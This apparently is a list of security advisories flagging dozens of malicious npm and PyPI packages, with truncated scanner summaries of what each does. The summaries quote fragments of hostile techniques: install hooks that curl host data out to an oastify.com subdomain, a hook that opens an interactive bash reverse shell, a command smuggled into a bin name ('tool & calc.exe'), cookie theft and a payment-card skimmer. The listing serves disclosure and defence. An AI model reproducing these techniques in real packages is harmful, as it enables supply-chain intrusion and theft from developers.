Malicious code in @uh-platform/cloud (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...

Malicious code in @uh-platform/nadaver2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c35cffdc174427ac57ea3c5e8ac02ec41159f8f25ffe1ef152e0437e5e533458 The package's package.json declares a preinstall lifecycle hook that runs node index.js. index.js invokes childprocess.exec on a curl command whose U...

Malicious code in gemini-computer-use (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847 The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL...

Malicious code in @woodpecker-web-shared/components (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5f5f21bcc5464689c5b7c70819eeca4ea481f76b5f7dac0358cfe2d967da235f On npm install, the package's postinstall hook runs node index.js, which collects installer host identifiers os.hostname, os.userInfo.username,...

Malicious code in @baanx/blockchain-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b6dec4d715e2863e7f55749d6d2a390926f3f2f1df62e4de223c6acc818632d The package runs a bootstrap from both its install lifecycle script node index.js and its main module that invokes an obfuscated probe. The probe rea...

Malicious code in @baanx/abis (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 647b64439f5d26821e6d749031b916e2ad3aa0cba8546488f8cc5e2fd263538b Package declares scripts.install: node index.js, which loads runtime/support/telemetry/probe/impl.js. That module reads the installer's OS username...

Malicious code in @insiderintelligence/componentlibrary (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a4451c41559202c6bce3218de9af47cabe20288af5f3a9240076f25b3b2b5993 The package declares scripts.install: node index.js, so npm install auto-executes index.js which loads runtime/support/telemetry/probe/impl.js. That...

Malicious code in starlette-healthchecks (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eebffb3f581b979c3e9a1dc0aef347111b50922326b2181cc9d2bc009c4e7021 The package advertises itself as ASGI healthcheck/logging middleware, but its documented entry point configurelogging re-exported from...

Malicious code in bnppf-flag-icons (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 689227d0fdfe4abc108c7dfc5b5b97e752182a410265c141ca33161247619e78 The package ships poc.js and wires it to both preinstall and postinstall lifecycle hooks in package.json, so it runs automatically on npm install...

Malicious code in hardhat-base (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a65f09d6bfd4d7c28183a13e64a9eb5e989fa7b24fbf92c049a044accefe4950 Package presents itself as a pino-compatible logger module.exports.pino = middleware; keywords fast/logger/stream/json but ships an RCE loader...

Malicious code in hardhat-devkit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ddcb676af47bf26017d1fbc2cf63aae76d09e9248e860f6d0e86d57da92d2b95 Package published as hardhat-devkit presents itself as an Ethereum/Hardhat developer toolkit, but the shipped surface is a cover story: README,...

Malicious code in rrs (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 78c488c5d20c788e88c2d4f0a0cb1eb03317bc71edb05964adad62241fd1295e On launch of the rrs CLI, a background thread captures a full-screen screenshot via mss and POSTs the image together with hostname, username,...

Malicious code in pf23727 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f83e32460196d036eca65e46845ea4717a9d5e64a5c2360d657d1ae6c92dfe96 index.js is the package main and runs as an IIFE on require/import. It reads document.cookie, slices document.body.innerHTML, and issues...

Malicious code in pflag14570 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b7164c1405ab2587c562b3b9eb8cdad8258aab8f25b829da64c83d7185eab6c index.js is an IIFE that executes at module load, reads document.cookie, fetches a list of authenticated application paths /profile, /admin, /api/me,...

Malicious code in pflag29424 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d9b974c9d8555f026dfc5556c4f628d366fbaedca83eab549559fe95fc984602 index.js the package's declared main unconditionally executes on module load: it calls fetch'/profile', scans the response for a DGA... token, and...

Malicious code in pf25133 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 504c3f95c937a05e14c220c767a0e18f4cada866ee5eebad0749457232ace73b The package's declared main module index.js is an IIFE that reads document.cookie, fetches a hardcoded list of application paths, extracts flag-shape...

Malicious code in keroeltopgg (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b4e331f9f02f436e01e5c7696088d12ea3237af7fbe54fd37ec37e786c960d [email protected] is a stub package whose index.js, executed on require/import, reads os.hostname and issues an HTTPS GET to the hardcoded collect...

Malicious code in keroeltopkkk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2758c1a2619db534fdc8e2981e051769b20641492d12ff984e333446e0c734e3 The package ships a single server.js that is wired into every npm lifecycle hook preinstall, install, postinstall, prepare, prepublish, preprepare,...

Malicious code in keroeltopkk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b1d7044c35cb0fb76dd0639af395bd8ca87df9981a8c73bb812b9f338e8d5cdc Package [email protected] ships only a manifest and a beacon script server.js and wires it into every npm lifecycle hook...

Malicious code in my-cdn-script (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e634f64d71797bbefdaf62bd0f2092d1cace77af2a07fd41e7d2347a14bb001b [email protected] ships a client-side payment-card skimmer in script.js. When loaded on a checkout page, the script injects a fake card-input form...

Malicious code in pf25262 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 95274790fd43042ecd1fc97b2c01dc194e863809626cdaee5c7e6b0a411f8aeb index.js contains a browser exfiltration snippet that issues a credentialed fetch to /profile, extracts a DGA... token or falls back to capturing...

Malicious code in homestack-cheer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f475cd8b8a3e1dd4563ca0b20d85fde83576ed78c27eb91ca1cd77fbebe0d142 The package is published as homestack-cheer with description 'JS lib support cheerleading', but the README and the UMD build dist/my-lib.umd.js prese...

Malicious code in @asenfotech/unplugin-element-plus (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 458bff9dc8d1f808d642b767ca08ca89253919bbf0d7fd2890b95f3b9c156926 Package presents itself as an Element Plus resolver for Vue tooling: index.js is a 25-line ElementPlusResolver stub. The bulk of the tarball under...

Malicious code in feed-widget-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e9c3f4f4751b0adffb78a311ee048162a853729a5dd1d0826593f394a4d663e2 On load, index.js schedules a setTimeout 2s that fetches the current origin's /profile endpoint, parses the returned HTML, extracts a.flag-value...

Malicious code in element-plus-vite-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7b7636f89146191d649c38819e975fc41167a53276c66aea0b43789eb8d39338 On load main index.js → bin/cli.js, the package invokes tooling-bootstrap.cjs which walks up from the consumer project's cwd/INITCWD looking for one ...

Malicious code in catwrestlingbird (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80958afe2056e1a124791c9465abdb0fff080a33005cc332dd5c1869ab2ee4c0 [email protected] declares a postinstall script node install.js that automatically runs on npm install. install.js collects installer host...

Malicious code in sorrawit-dev-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c64040dcfbbdb6ce434caf3cd5bd2baa518cc00970281a69f5309d57a4621233 package.json declares a postinstall lifecycle script that runs automatically on npm install. The script reads /tmp/flag.txt from the installer's...

Malicious code in catwrestlinghuman (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c4045339387526c5db90832687d1691c2caddba3b9cb05006022704bf094653 package.json declares a postinstall hook node index.js. index.js is a 111KB blob composed exclusively of the JSFuck character set !+, which decodes a...

Malicious code in action-slack-message-root (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6d5f3deb6623e5340770d4e8866adc3d7239938e5adefc4b699c897287d84eba package.json declares scripts.preinstall = 'node index.js', which runs automatically on npm install. index.js collects host reconnaissance —...

Malicious code in bulk-add-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b131d84c624f7eb89d720ed0ec1435eef5f5f9ff800d1cef88b20c18c7374023 Package declares scripts.install: "node extract.js thd-orangepay", causing extract.js to run automatically on npm install. The script collects...

Malicious code in better-envforge (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1f30026347d1db5e0ade5afe4b81a8569eb6ec0c41d1e1fa79f66dc386a6ea51 [email protected] presents itself as a dotenv-style environment configuration toolkit, but the bundled package.json inside dist/cli.cjs identifie...

Malicious code in chai-as-viem (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 397fee7b80d73ee4c82892a746b2bab33a4cd2f71ef1ec4fe6fbbaa0bb270308 On require of the package, index.js loads lib/initializeCaller.js, which runs an IIFE at module load. The IIFE decodes a base64-concealed URL resolvi...

Malicious code in byted-commerce-materials (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f777e32b4a6cbb7f91f7fcac050a02a73e356df1c87e7dcd985ea9172a3993da package.json declares both preinstall and postinstall running node callback.js, so the payload fires automatically on npm install. callback.js collec...

Malicious code in siriusbeyond (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6ce19ca17a48cf79dd094940533d1bff88413d44c945948d0041da15a5b61779 package.json wires callback.js to both the preinstall and postinstall lifecycle hooks, so npm install siriusbeyond executes it automatically...

Malicious code in @siriusbeyond/ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3d81713c34940a8d3511a53c6cb8001481734bc2493be23d0f6ddb1dd561fa72 On npm install, both preinstall and postinstall lifecycle hooks execute callback.js, which collects installer host identity hostname, username,...

Malicious code in @siriusbeyond/utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 330b388e1f9ee72c0c2a94cca9e4cc7ff3b525a3f673b324b093286329f60689 Package @siriusbeyond/[email protected] declares both preinstall and postinstall scripts that execute callback.js on npm install. callback.js collects hos...

Malicious code in @dbbhk/ui-components (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 478839dda68d2c5eefa1a55557602d4b12396c988211b28d785af531d0b19d07 @dbbhk/[email protected] declares both preinstall and postinstall hooks in package.json that execute node callback.js, so the payload runs...

Malicious code in commerce-materials (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bdfff371a76fd4cef2247de8c595a3981d58353391141b58a8ce31e03ec9da6d [email protected] declares preinstall and postinstall lifecycle scripts that run callback.js on every npm install. callback.js collects...

Malicious code in test1sdsd2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3c7bd7c5932337e17adaf4900cb7e29766fe6b5307bd170b38660dd05497ebdc Package [email protected] declares preinstall and postinstall hooks in package.json that execute index.js on npm install. index.js performs an HTTP...

Malicious code in testmgkregme (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 496e8021fd5e2626c503e2ceeed8349ff15c68c71a5f19d8a57c67e5f1b41863 npm package [email protected] uses a binding.gyp whose sources field employs GYP command-expansion eval-AES-eval construction has no legitimate...

Malicious code in test12vv36 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9292921d0fe368160694717f99eca753070a4249696c72b2f1bff9594cab40be [email protected] declares both preinstall and postinstall lifecycle hooks that execute index.js on npm install. index.js issues an HTTP GET to a...

Malicious code in test1ro (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8166d7eaf8dab64a6c21d0e0a871c64e213147082a414b93816fb080c8044b1e package.json declares preinstall and postinstall hooks that run node index.js, which reads os.hostname and issues an HTTP GET to the hardcoded...

Malicious code in test1df23 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67708642854d76da722a8130de47a8fb7fd23f0035cf646f1bf16d97419e5756 package.json declares preinstall and postinstall hooks that execute index.js on npm install. index.js issues an HTTP GET to the hardcoded bare IP...

Malicious code in test1hh235 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9c95dc5aea7805ca50e114bae45747a46edb7331311044b0d3730e303d4351a Package declares both preinstall and postinstall lifecycle hooks that execute index.js on npm install. index.js issues an HTTP GET to the hardcoded...

Malicious code in test1gg234 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd57f799e0797ede7d18d6a36dd05c31c34d21b4e45d554730a8d08dd310cf73 The package declares both preinstall and postinstall lifecycle hooks that execute index.js, which issues a plaintext HTTP GET to the hardcoded bare I...

Malicious code in npx-test-ma980 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector adfd1e5f7cc282648da56cdf50ac9c3cb27d6165fa4a3f8f3625b4a0c2694be6 package.json declares a bin entry whose key contains shell metacharacters and a chained command: "tool & calc.exe": "./run.js". On Windows, npm's bin...

Malicious code in chai-testing (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector da6bebc82e500e38b0ab9c507b1d56c18a05a1ffd04fcee60f0dcad991c8944a The package's main entry index.js spawns a detached node lib/caller.js when the module is required. caller.js base64-decodes a hardcoded URL...

Malicious code in @baanx/solana-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6462ecac2764fc9cf78d47ee57fec1fd3d6a0cf573ee02eaddcc2e5b5f3f0d7e The package declares scripts.install = node index.js, so npm install @baanx/solana-lib automatically executes index.js, which loads lib/core.js. That...

Malicious code in @nimbusedge2/authxsas (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0146259024cc8ef3a174ff98571fe4af975b3eecf9184a0a5339d42808243d10 The package's package.json declares a preinstall script that fires unconditionally on npm install. The script uses curl to query the cloud instance...

Malicious code in @nimbusedge2/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba @nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to...